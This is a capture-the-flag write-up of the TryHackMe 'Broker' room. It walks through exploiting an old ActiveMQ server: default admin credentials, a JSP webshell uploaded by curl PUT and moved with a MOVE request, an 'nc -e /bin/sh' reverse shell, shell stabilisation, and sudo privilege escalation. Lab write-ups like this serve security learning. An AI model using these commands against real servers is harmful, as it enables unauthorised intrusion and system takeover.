Broker – TryHackMe

Write-up for Tryhackme room Broker.

Difficulty Level – Medium

nmap --min-rate 300  -A -oN allport -p- $IP

As we can see website is running on port 8161, when we can browse to port we can see service called “ActiveMQ” which look little old.

as you can see there is admin login link try to login with standerd credential

Ex : 






one these cred will work,after login first thought to check the exploit database.

looks like its vulnerable for Directory Traversal, we could upload webshell to “/fileserver

you can download webshell here tennc, or if you using kali as your OS we already have webshell in your PC just use this command to locate.

locate webshell

ls /usr/share/webshell/jsp/

I will be uploading shell using “cURL” you can use curl or burpsuit for upload the shell.

curl -u 'admin:admin' -v -X PUT --data "@cmd.jsp" http://$IP:8161/fileserver/cmd.jsp

if you want to check file uploaded correctly we can curl file and see the result.

looks like webshell uploaded correctly, but we can’t execute it in /fileserver so we need to move to folder which we can execute for that we should know the path, with using curl we can find it too.

now we know the path where it located “/opt/apache-activemq-5.9.0/webapps/fileserver/

since we know the path we can move the webshell location to where we can execute, which is /admin folder, use this command to move.

curl -u 'admin:admin' -X MOVE http://$IP:8161/fileserver/cmd.jsp --header 'Destination:file:///opt/apache-activemq-5.9.0/webapps/admin/cmd.jsp'

now enter this in URL and we have successful webshell.


so now we can get easily get reverse shell,

#Copy any shells from any website
nc -e /bin/sh $IP 9999

#replace "space" with "plus" symbol 

#listen the nc on your machine
nc -lvnp 9999

#enter payload in url you get reverse shell.

now we have reverse shell but need to stabilize it use following command to stabilize the shell.

python3 -c 'import pty; pty.spawn("/bin/bash")' 

export TERM=xterm

#press CTRL + Z then enter the last command

stty raw -echo; fg

Privilege Escalation

lets see which command user can perform with sudo permission type “sudo -l”

we can execute in /opt directory which we have write permission also that mean all need to add small code or completely replace it and we will get root shell from it.

import os


add above code and save the file and execute with “sudo“.

we finally root.

Happy Hacking!!!

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